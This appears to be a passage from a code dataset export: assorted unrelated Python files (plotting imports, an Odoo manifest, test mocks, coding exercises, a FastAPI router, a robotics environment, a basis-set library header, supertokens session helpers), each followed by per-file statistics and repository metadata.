"""Plotting methods. """ # flake8: noqa --- ignore imported but unused flake8 warnings LW_CONF = 1.0 LW_OUTLINE = 0.6 COL_CORR = 'royalblue' _PAD = 0.01 from . import plot_core from .plot_core import * from . import Hist2D from .Hist2D import * from . import CorrelationGrid from .CorrelationGrid import * from . import color2d from .color2d import * from . import layout from .layout import * from . import draw from .draw import * __all__ = [] __all__.extend(plot_core.__all__) __all__.extend(Hist2D.__all__) __all__.extend(CorrelationGrid.__all__) __all__.extend(color2d.__all__) __all__.extend(layout.__all__) __all__.extend(draw.__all__)
20.28125
62
0.762712
88
649
4.954545
0.352273
0.137615
0.165138
0
0
0
0
0
0
0
0
0.026738
0.135593
649
31
63
20.935484
0.750446
0.121726
0
0
0
0
0.015986
0
0
0
0
0
0
1
0
false
0
0.521739
0
0.521739
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
403b997f94c0584496dff1f0c9dc1b3f51729849
609
py
Python
apps/__manifest__.py
marionumza/it-projects-llc-access-addons
421fb60b25bfea67ccf0309f3cf7385dafafc350
[ "MIT" ]
null
null
null
apps/__manifest__.py
marionumza/it-projects-llc-access-addons
421fb60b25bfea67ccf0309f3cf7385dafafc350
[ "MIT" ]
null
null
null
apps/__manifest__.py
marionumza/it-projects-llc-access-addons
421fb60b25bfea67ccf0309f3cf7385dafafc350
[ "MIT" ]
1
2021-02-15T03:14:52.000Z
2021-02-15T03:14:52.000Z
{ "name": "Custom Apps", "summary": """Simplify Apps Interface""", "images": [], "vesion": "12.0.1.0.0", "application": False, "author": "IT-Projects LLC, Dinar Gabbasov", "support": "apps@itpp.dev", "website": "https://twitter.com/gabbasov_dinar", "category": "Access", "license": "Other OSI approved licence", # MIT "depends": ["access_apps"], "data": ["views/apps_view.xml", "security.xml", "data/ir_config_parameter.xml"], "post_load": None, "pre_init_hook": None, "post_init_hook": None, "auto_install": False, "installable": False, }
30.45
84
0.600985
71
609
5
0.732394
0.04507
0.067606
0
0
0
0
0
0
0
0
0.01222
0.19376
609
19
85
32.052632
0.710794
0.004926
0
0
0
0
0.600993
0.046358
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
4040d9c5ab0c0ce801144826cad72f8b65b187b9
1,027
py
Python
test/integration/mock_network.py
DaveSawyer/box-python-sdk
6a5134ff9bbbbc0478bb39d7f622fe3829048cbf
[ "Apache-2.0" ]
null
null
null
test/integration/mock_network.py
DaveSawyer/box-python-sdk
6a5134ff9bbbbc0478bb39d7f622fe3829048cbf
[ "Apache-2.0" ]
null
null
null
test/integration/mock_network.py
DaveSawyer/box-python-sdk
6a5134ff9bbbbc0478bb39d7f622fe3829048cbf
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 from mock import Mock import requests from boxsdk.network.default_network import DefaultNetworkResponse from boxsdk.network.network_interface import Network class MockNetwork(Network): """Mock implementation of the network interface for testing purposes.""" def __init__(self): super().__init__() self._session = Mock(requests.Session) self._retries = [] def request(self, method, url, access_token, **kwargs): """Base class override. Make a mock network request using a mock requests.Session. """ return DefaultNetworkResponse(self._session.request(method, url, **kwargs), access_token) def retry_after(self, delay, request_method, *args, **kwargs): """Base class override. Retry immediately, recording the retry request. """ self._retries.append((delay, request_method, args, kwargs)) return request_method(*args, **kwargs) @property def session(self): return self._session
31.121212
97
0.682571
116
1,027
5.862069
0.396552
0.076471
0.075
0.101471
0.082353
0
0
0
0
0
0
0.001245
0.218111
1,027
32
98
32.09375
0.845579
0.223953
0
0
0
0
0
0
0
0
0
0
0
1
0.235294
false
0
0.235294
0.058824
0.705882
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
40468847dab2a375a6c33b591dc6abfdcf2a37d1
221
py
Python
SageMakerHelpers/__logging__.py
kevinpmcgee14/sagemaker-helpers
16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b
[ "MIT" ]
null
null
null
SageMakerHelpers/__logging__.py
kevinpmcgee14/sagemaker-helpers
16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b
[ "MIT" ]
null
null
null
SageMakerHelpers/__logging__.py
kevinpmcgee14/sagemaker-helpers
16e6f7592779edc94f9bb1d944d8ad7d7ba8ad5b
[ "MIT" ]
null
null
null
import logging logging_format = ' %(name)s :: %(levelname)-8s :: %(message)s' logging.basicConfig(level=logging.WARNING, format=logging_format) logging.getLogger().setLevel(logging.WARNING) logger = logging.getLogger()
27.625
65
0.760181
26
221
6.384615
0.538462
0.156627
0
0
0
0
0
0
0
0
0
0.004926
0.081448
221
8
66
27.625
0.812808
0
0
0
0
0
0.193694
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40489d3296cf335f16f683a363510c709d9094d8
2,143
py
Python
ietf/secr/meetings/models.py
ekr/ietfdb
8d936836b0b9ff31cda415b0a423e3f5b33ab695
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2021-11-20T03:40:40.000Z
2021-11-20T03:40:42.000Z
ietf/secr/meetings/models.py
ekr/ietfdb
8d936836b0b9ff31cda415b0a423e3f5b33ab695
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
ietf/secr/meetings/models.py
ekr/ietfdb
8d936836b0b9ff31cda415b0a423e3f5b33ab695
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
#from sec.core.models import Meeting """ import datetime class GeneralInfo(models.Model): id = models.IntegerField(primary_key=True) info_name = models.CharField(max_length=150, blank=True) info_text = models.TextField(blank=True) info_header = models.CharField(max_length=765, blank=True) class Meta: db_table = u'general_info' class MeetingVenue(models.Model): meeting_num = models.ForeignKey(Meeting, db_column='meeting_num', unique=True, editable=False) break_area_name = models.CharField(max_length=255) reg_area_name = models.CharField(max_length=255) def __str__(self): return "IETF %s" % (self.meeting_num_id) class Meta: db_table = 'meeting_venues' verbose_name = "Meeting public areas" verbose_name_plural = "Meeting public areas" class NonSessionRef(models.Model): name = models.CharField(max_length=255) def __str__(self): return self.name class Meta: db_table = 'non_session_ref' verbose_name = "Non-session slot name" class NonSession(models.Model): non_session_id = models.AutoField(primary_key=True, editable=False) day_id = models.IntegerField(blank=True, null=True, editable=False) non_session_ref = models.ForeignKey(NonSessionRef, editable=False) meeting = models.ForeignKey(Meeting, db_column='meeting_num', editable=False) time_desc = models.CharField(blank=True, max_length=75, default='0') show_break_location = models.BooleanField(editable=False, default=True) def __str__(self): if self.day_id != None: return "%s %s %s @%s" % ((self.meeting.start_date + datetime.timedelta(self.day_id)).strftime('%A'), self.time_desc, self.non_session_ref, self.meeting_id) else: return "** %s %s @%s" % (self.time_desc, self.non_session_ref, self.meeting_id) def day(self): if self.day_id != None: return (self.meeting.start_date + datetime.timedelta(self.day_id)).strftime('%A') else: return "" class Meta: db_table = 'non_session' verbose_name = "Meeting non-session slot" """
40.433962
167
0.689221
283
2,143
4.971731
0.275618
0.056859
0.063966
0.085288
0.383085
0.363184
0.326226
0.204691
0.204691
0.204691
0
0.010423
0.19412
2,143
53
168
40.433962
0.804285
0.995334
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
404c494881a83942a891d0612b177a4c3ea34dbe
253
py
Python
ps2/src/stability/temp.py
Ziggareto/cs229
10b03b68b24d252dad3e3437561976d9509ebdd0
[ "MIT" ]
null
null
null
ps2/src/stability/temp.py
Ziggareto/cs229
10b03b68b24d252dad3e3437561976d9509ebdd0
[ "MIT" ]
null
null
null
ps2/src/stability/temp.py
Ziggareto/cs229
10b03b68b24d252dad3e3437561976d9509ebdd0
[ "MIT" ]
null
null
null
import os import sys print(f'cwd: {os.getcwd()}') #print(f'pythonpath: {os.environ["PYTHONPATH"]}') try: print(f'\nenvirons: {os.environ["ASDF"]}') except Exception as e: print(f'exception: {e}, {type(e)}') print(f'\nsys.path: {sys.path}')
23
49
0.632411
38
253
4.210526
0.5
0.1875
0.0875
0
0
0
0
0
0
0
0
0
0.130435
253
11
50
23
0.727273
0.189723
0
0
0
0
0.473171
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
2
405e551b698e3c29c86fb1f195bf540d313f6175
206
py
Python
zerojudge/a004.py
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
zerojudge/a004.py
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
zerojudge/a004.py
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
import sys out=[] for x in sys.stdin: x=int(x) if x%4==0 : if x%100!=0 or x%400==0: out.append("閏年") else: out.append("平年") else: out.append("平年") if x=="": break for i in out: print(i)
12.117647
26
0.553398
43
206
2.651163
0.488372
0.078947
0.22807
0.263158
0
0
0
0
0
0
0
0.063291
0.23301
206
16
27
12.875
0.658228
0
0
0.266667
0
0
0.029126
0
0
0
0
0
0
1
0
false
0
0.066667
0
0.066667
0.066667
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4076807eb3962bcb81fd0738654f1011e2a98bde
541
py
Python
src/Unique Binary Search Trees.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
src/Unique Binary Search Trees.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
src/Unique Binary Search Trees.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
class Solution: # @return an integer def numTrees(self, n): R = [0] * max((n + 1), 3) R[0] = 1 R[1] = 1 R[2] = 2 for i in xrange(3, n+1): tr = 0 for h in xrange(0, i): ln = h rn = i - h - 1 # print i, ln, rn, R[ln], R[rn] tr += R[ln] * R[rn] R[i] = tr return R[n] print Solution().numTrees(1) print Solution().numTrees(2) print Solution().numTrees(3)
24.590909
47
0.375231
76
541
2.671053
0.315789
0.192118
0.310345
0.059113
0
0
0
0
0
0
0
0.060932
0.484288
541
22
48
24.590909
0.666667
0.118299
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0.176471
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
4076cfce92a39fbc804cea492ff7f7cbabc72749
584
py
Python
problem_31.py
MasterScott/project-euler
643df8258bf9ac84b14b648a3a5a254bc682c473
[ "MIT" ]
null
null
null
problem_31.py
MasterScott/project-euler
643df8258bf9ac84b14b648a3a5a254bc682c473
[ "MIT" ]
null
null
null
problem_31.py
MasterScott/project-euler
643df8258bf9ac84b14b648a3a5a254bc682c473
[ "MIT" ]
1
2019-10-28T23:33:46.000Z
2019-10-28T23:33:46.000Z
from time import time TARGET_SUM = 200 COINS = [1, 2, 5, 10, 20, 50, 100, 200] DYNAMIC_TABLE = {} def calculate(point, coinset): if point - coinset[0] < 0: return 0 elif point == coinset[0]: return 1 else: if (point, str(coinset)) in DYNAMIC_TABLE: return DYNAMIC_TABLE[(point, str(coinset))] DYNAMIC_TABLE[(point, str(coinset))] = calculate(point-coinset[0], coinset) + calculate(point, coinset[1:]) return DYNAMIC_TABLE[(point, str(coinset))] t = time() print calculate(TARGET_SUM, COINS) print 'Time:', time()-t
25.391304
115
0.626712
80
584
4.4875
0.3625
0.167131
0.167131
0.167131
0.259053
0.183844
0
0
0
0
0
0.055679
0.231164
584
22
116
26.545455
0.743875
0
0
0.117647
0
0
0.008562
0
0
0
0
0
0
0
null
null
0
0.058824
null
null
0.117647
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
407caab0cf29a4393d473aa6fc12860a1a1c421b
459
py
Python
app/webapps/base.py
ardihikaru/login-boilerplate
e10d077de0aefa9cb7a4633f915304e805c3f982
[ "MIT" ]
null
null
null
app/webapps/base.py
ardihikaru/login-boilerplate
e10d077de0aefa9cb7a4633f915304e805c3f982
[ "MIT" ]
null
null
null
app/webapps/base.py
ardihikaru/login-boilerplate
e10d077de0aefa9cb7a4633f915304e805c3f982
[ "MIT" ]
null
null
null
from fastapi import APIRouter from app.webapps.dashboard import route as route_dashboard from app.webapps.auth import route as route_login from app.webapps.user import route as route_user api_router = APIRouter() api_router.include_router(route_dashboard.router, prefix="", tags=["dashboard-webapp"]) api_router.include_router(route_login.router, prefix="", tags=["auth-webapp"]) api_router.include_router(route_user.router, prefix="", tags=["user-webapp"])
45.9
87
0.8061
67
459
5.328358
0.268657
0.10084
0.117647
0.151261
0.260504
0.184874
0
0
0
0
0
0
0.076253
459
9
88
51
0.841981
0
0
0
0
0
0.082789
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
4082e30e850479d1639107eca6ba5198f4f52643
1,015
py
Python
src/injecta/service/resolved/ResolvedArgument.py
DataSentics/injecta
090eeac6c76c43d40be71df678222a07b0a3c783
[ "MIT" ]
3
2021-09-27T12:55:00.000Z
2022-01-31T19:13:23.000Z
src/injecta/service/resolved/ResolvedArgument.py
DataSentics/injecta
090eeac6c76c43d40be71df678222a07b0a3c783
[ "MIT" ]
null
null
null
src/injecta/service/resolved/ResolvedArgument.py
DataSentics/injecta
090eeac6c76c43d40be71df678222a07b0a3c783
[ "MIT" ]
1
2021-03-04T09:12:05.000Z
2021-03-04T09:12:05.000Z
from typing import Optional from injecta.service.argument.ArgumentInterface import ArgumentInterface from injecta.service.class_.InspectedArgument import InspectedArgument class ResolvedArgument: def __init__( self, name: str, argument: Optional[ArgumentInterface], # nullable in case of services to be autowired inspected_argument: Optional[InspectedArgument], ): self.__name = name self.__argument_history = [{"argument": argument, "description": "config definition"}] self.__inspected_argument = inspected_argument @property def name(self): return self.__name @property def argument(self): return self.__argument_history[-1]["argument"] def modify_argument(self, argument: ArgumentInterface, change_description: str): self.__argument_history.append({"argument": argument, "description": change_description}) @property def inspected_argument(self): return self.__inspected_argument
32.741935
97
0.719212
100
1,015
7
0.35
0.121429
0.081429
0.062857
0
0
0
0
0
0
0
0.00123
0.199015
1,015
30
98
33.833333
0.859779
0.04335
0
0.125
0
0
0.065015
0
0
0
0
0
0
1
0.208333
false
0
0.125
0.125
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
40868371578192d2c8569f770b332019746f2eff
1,007
py
Python
simulation/env_99.py
liaojh1998/cross-modal-concept2robot
2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e
[ "MIT" ]
4
2021-08-04T08:14:36.000Z
2022-03-14T05:59:46.000Z
simulation/env_99.py
liaojh1998/cross-modal-concept2robot
2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e
[ "MIT" ]
null
null
null
simulation/env_99.py
liaojh1998/cross-modal-concept2robot
2a00937eb2ac02cbe3d5d5fa0f5868e85d194f6e
[ "MIT" ]
2
2021-08-28T13:19:31.000Z
2021-09-17T17:48:41.000Z
#!/usr/bin/env python3 import time import math from datetime import datetime from time import sleep import numpy as np import random import cv2 import os import argparse import torch import sys sys.path.append('./') from env_98 import Engine98 from utils_env import get_view,safe_path,cut_frame,point2traj,get_gripper_pos,backup_code class Engine99(Engine98): def __init__(self, worker_id, opti, p_id, taskId=5, maxSteps=15, n_dmps=3, cReward=True): super(Engine99,self).__init__(worker_id, opti, p_id, taskId=taskId, maxSteps=maxSteps, n_dmps=n_dmps, cReward=cReward) self.opti = opti def get_success(self,seg=None): pos = self.p.getBasePositionAndOrientation(self.obj_id)[0][2] closet_info = self.p.getContactPoints (self.robotId, self.obj_id) if len(closet_info) > 0: self.contact = True if pos < self.pos - 0.04 and self.dmp.timestep >= self.dmp.timesteps and self.contact: return True else: return False
30.515152
126
0.714995
152
1,007
4.552632
0.493421
0.021676
0.034682
0.037572
0.060694
0.060694
0
0
0
0
0
0.028221
0.190665
1,007
32
127
31.46875
0.820859
0.020854
0
0
0
0
0.00203
0
0
0
0
0
0
1
0.074074
false
0
0.481481
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
4097350ac87a0e79e1f60f219bec49f388de8ef9
191
py
Python
domainfinder.py
CRTL-C/8IP
ff2b4477b7a54f2bf2c0645781377431648b5835
[ "MIT" ]
1
2021-04-15T03:57:40.000Z
2021-04-15T03:57:40.000Z
domainfinder.py
CRTL-C/8IP
ff2b4477b7a54f2bf2c0645781377431648b5835
[ "MIT" ]
null
null
null
domainfinder.py
CRTL-C/8IP
ff2b4477b7a54f2bf2c0645781377431648b5835
[ "MIT" ]
null
null
null
import socket IP = input("Enter target's Address : ") if __name__ == "__main__": domain = socket.gethostbyaddr(IP) print("Domain name of {} address is {}.".format(IP, domain))
23.875
64
0.643979
24
191
4.791667
0.708333
0
0
0
0
0
0
0
0
0
0
0
0.204188
191
8
65
23.875
0.756579
0
0
0
0
0
0.338542
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4099055b7e724a04cb33a936eecf18badf74ef32
165
py
Python
Curso em Video/Desafio_025.py
tonmarcondes/UNIVESP
a66a623d4811e8f3f9e2999f09e38a4470035ae2
[ "MIT" ]
null
null
null
Curso em Video/Desafio_025.py
tonmarcondes/UNIVESP
a66a623d4811e8f3f9e2999f09e38a4470035ae2
[ "MIT" ]
null
null
null
Curso em Video/Desafio_025.py
tonmarcondes/UNIVESP
a66a623d4811e8f3f9e2999f09e38a4470035ae2
[ "MIT" ]
null
null
null
nome = input('\nInsira seu nome: \n') if 'SILVA' in nome.upper(): print('O seu nome tem SILAVA\n') else: print('Você não faz parte da família SILVA\n')
27.5
50
0.630303
28
165
3.714286
0.714286
0.134615
0
0
0
0
0
0
0
0
0
0
0.218182
165
6
50
27.5
0.806202
0
0
0
0
0
0.534161
0
0
0
0
0
0
1
0
false
0
0
0
0
0.4
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
4099ec031cfaea198c8fc8d0c0e4542076257979
2,826
py
Python
basis_set_exchange/__init__.py
BasisSetExchange/basis_set_exchange
1054817a0a898800897354b003e23b5222d54d21
[ "BSD-3-Clause" ]
4
2018-03-21T20:33:56.000Z
2018-05-28T02:07:39.000Z
basis_set_exchange/__init__.py
BasisSetExchange/basis_set_exchange
1054817a0a898800897354b003e23b5222d54d21
[ "BSD-3-Clause" ]
20
2018-02-15T15:15:40.000Z
2018-05-22T19:54:58.000Z
basis_set_exchange/__init__.py
BasisSetExchange/basis_set_exchange
1054817a0a898800897354b003e23b5222d54d21
[ "BSD-3-Clause" ]
1
2018-03-15T02:12:55.000Z
2018-03-15T02:12:55.000Z
# Copyright (c) 2017-2022 The Molecular Sciences Software Institute, Virginia Tech # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. ''' Basis Set Exchange Python library This package contains utilities for obtaining, reading, writing, and converting basis set information ''' # Check to make sure we are using python 3 import sys if sys.version_info < (3, 0): raise RuntimeError("This library requires python 3") # Just import the basic user API from .api import (get_basis, lookup_basis_by_role, get_metadata, get_reference_data, get_all_basis_names, get_references, get_basis_family, filter_basis_sets, get_families, get_family_notes, get_basis_notes, has_basis_notes, has_family_notes, get_roles, get_formats, version, get_data_dir) from .readers import read_formatted_basis_file, read_formatted_basis_str, get_reader_formats from .writers import write_formatted_basis_file, write_formatted_basis_str, get_writer_formats from .convert import convert_formatted_basis_file, convert_formatted_basis_str from .refconverters import get_reference_formats from .validator import validate_file, validate_data from .bundle import create_bundle, get_archive_types # Handle versioneer from ._version import get_versions versions = get_versions() __version__ = versions['version'] __git_revision__ = versions['full-revisionid'] del get_versions, versions
44.15625
119
0.800071
406
2,826
5.394089
0.487685
0.038356
0.024658
0.021005
0.084018
0.0621
0.0621
0.0621
0.0621
0.0621
0
0.006245
0.150035
2,826
63
120
44.857143
0.905495
0.61288
0
0
0
0
0.049289
0
0
0
0
0
0
1
0
false
0
0.529412
0
0.529412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
40a0ac9ef1f0942324ba2dd8c8677bdc56cbdcb2
3,525
py
Python
cswor/runner_us_data.py
satvikmashkaria/CS748_project
57185b6a467e638d6db96cf1c7d3dbe8d6bf5032
[ "BSD-3-Clause" ]
1
2021-05-16T18:39:51.000Z
2021-05-16T18:39:51.000Z
cswor/runner_us_data.py
satvikmashkaria/CS748_project
57185b6a467e638d6db96cf1c7d3dbe8d6bf5032
[ "BSD-3-Clause" ]
null
null
null
cswor/runner_us_data.py
satvikmashkaria/CS748_project
57185b6a467e638d6db96cf1c7d3dbe8d6bf5032
[ "BSD-3-Clause" ]
null
null
null
from mod_copeland_yateesh import sample_complexity args = {} # args['heuristic'] = 'random' args['heuristic'] = 'greedy' # args['heuristic'] = 'mod_dcb' args['n_voters'] = 4639 args['alpha'] = 0.05 args['seed'] = 42 args['ques_limit'] = 5 args['gamma'] = 0.5 args['probs'] = [0.05, 0.1, 0.2, 0.4] q_limits = [1, 2, 3, 5, 8, 10, 13, 15, 20, 25, 30] # q_limits = [1] # gammas = [0.0, 0.2, 0.4, 0.6, 0.8, 1.0] # gammas = [0.0] greedy_itrs = [] random_itrs = [] seeds = [0, 1, 2, 3, 4] # seeds = [0] # for seed in seeds: # args['seed'] = seed # itr, winner = sample_complexity(args) # print("seed", seed, "itr", itr, "winner", winner) # random_itrs.append(itr) # # print(random_itrs) # print(sum(random_itrs)/6) # for seed in seeds: # seed_vals = [] # args['seed'] = seed # for q_limit in q_limits: # args['ques_limit'] = q_limit # print("Que. limit ", q_limit, "started") # itr, winner = sample_complexity(args) # print("seed", seed, "itr", itr, "winner", winner) # seed_vals.append(itr) # greedy_itrs.append(seed_vals) # ### # print(greedy_itrs) # print(sample_complexity(args)) greedy_itrs = [[283, 199, 167, 167, 167, 167, 167, 167, 167, 167, 167], [209, 160, 109, 93, 93, 93, 93, 93, 93, 93, 93], [216, 169, 112, 104, 104, 110, 104, 104, 104, 104, 104], [228, 124, 116, 116, 116, 116, 116, 116, 116, 116, 116], [479, 362, 363, 363, 362, 362, 363, 363, 363, 363, 363]] dcb_itrs = [[499, 373, 343, 170, 180, 179, 180, 180, 180, 180, 180], [893, 714, 660, 546, 547, 468, 340, 79, 79, 79, 79], [672, 298, 231, 201, 207, 180, 166, 169, 169, 169, 169], [940, 432, 310, 310, 116, 175, 194, 198, 198, 198, 198], [481, 523, 357, 352, 446, 365, 346, 345, 345, 345, 345]] dcb_mod_itrs = [[589, 385, 183, 157, 168, 168, 175, 179, 178, 175, 174], [711, 558, 553, 469, 427, 299, 291, 57, 117, 119, 118], [454, 349, 267, 214, 168, 168, 165, 153, 103, 72, 103], [648, 440, 302, 310, 117, 120, 181, 180, 198, 197, 28], [564, 364, 448, 361, 345, 447, 363, 56, 345, 345, 345]] import numpy as np import matplotlib.pyplot as plt def convert(lst): lst = [np.array(i) for i in lst] lst = sum(lst) lst = [i/5 for i in lst] return lst print(convert(greedy_itrs)) print(convert(dcb_itrs)) print(convert(dcb_mod_itrs)) import seaborn as sns sns.set_theme() plt.plot(q_limits, convert(greedy_itrs), label="Greedy (ours)") # plt.plot(q_limits, convert(dcb_itrs), label="DCB") plt.plot(q_limits, convert(dcb_mod_itrs), label="DCB Extended") plt.xlabel("Num of questions asked") plt.ylabel("Avg sample complexity") plt.title("US election 2012 data (16 candidates)") plt.legend() plt.savefig("us_comp.png") plt.show() # greedy_itrs = [[257, 307, 377, 424, 297, 453], [252, 303, 377, 424, 297, 453], [251, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453], [254, 307, 377, 424, 297, 453]] # # print([sum(i)/6 for i in greedy_itrs]) # # import matplotlib.pyplot as plt # # plt.plot(gammas, [sum(i)/6 for i in greedy_itrs]) # plt.xlabel("Gamma") # plt.ylabel("Average sample complexity") # plt.show() # res = [[649, 496, 496, 496, 496, 496], [565, 496, 496, 496, 496, 496], [524, 747, 782, 526, 526, 526]] # # def suml(l1, l2): # return [(l1[i] + l2[i]) for i in range(len(l1))] # # resf = suml(suml(res[0], res[1]), res[2]) # resf = [i/3 for i in resf] # # import matplotlib.pyplot as plt # # plt.plot(gammas, resf) # plt.xlabel("Gamma Values") # plt.ylabel("Sample complexity averaged over 3 seeds") # plt.show()
34.90099
296
0.616454
604
3,525
3.521523
0.347682
0.042313
0.029619
0.03385
0.245416
0.201693
0.179126
0.171603
0.088858
0.088858
0
0.249913
0.182695
3,525
101
297
34.90099
0.488372
0.450496
0
0
0
0
0.089267
0
0
0
0
0
0
1
0.027778
false
0
0.111111
0
0.166667
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40ae26d9296d39f88716bb6def1ea8272856e139
5,845
py
Python
supertokens_python/recipe/session/syncio/__init__.py
SKOOTUK/supertokens-python
c0751dd5af911835199223efbe5a91e7c1f1f954
[ "Apache-2.0" ]
null
null
null
supertokens_python/recipe/session/syncio/__init__.py
SKOOTUK/supertokens-python
c0751dd5af911835199223efbe5a91e7c1f1f954
[ "Apache-2.0" ]
3
2022-02-21T18:42:06.000Z
2022-03-04T11:54:15.000Z
supertokens_python/recipe/session/syncio/__init__.py
SKOOTUK/supertokens-python
c0751dd5af911835199223efbe5a91e7c1f1f954
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021, VRAI Labs and/or its affiliates. All rights reserved. # # This software is licensed under the Apache License, Version 2.0 (the # "License") as published by the Apache Software Foundation. # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from typing import Any, Dict, List, Union from supertokens_python.async_to_sync_wrapper import sync from supertokens_python.recipe.openid.interfaces import \ GetOpenIdDiscoveryConfigurationResult from ...jwt.interfaces import CreateJwtResult, GetJWKSResult from ..interfaces import SessionContainer, SessionInformationResult def create_new_session(request: Any, user_id: str, access_token_payload: Union[Dict[str, Any], None] = None, session_data: Union[Dict[str, Any], None] = None, user_context: Union[None, Dict[str, Any]] = None) -> SessionContainer: from supertokens_python.recipe.session.asyncio import \ create_new_session as async_create_new_session return sync(async_create_new_session( request, user_id, access_token_payload, session_data, user_context)) def get_session(request: Any, anti_csrf_check: Union[bool, None] = None, session_required: bool = True, user_context: Union[None, Dict[str, Any]] = None) -> Union[SessionContainer, None]: from supertokens_python.recipe.session.asyncio import \ get_session as 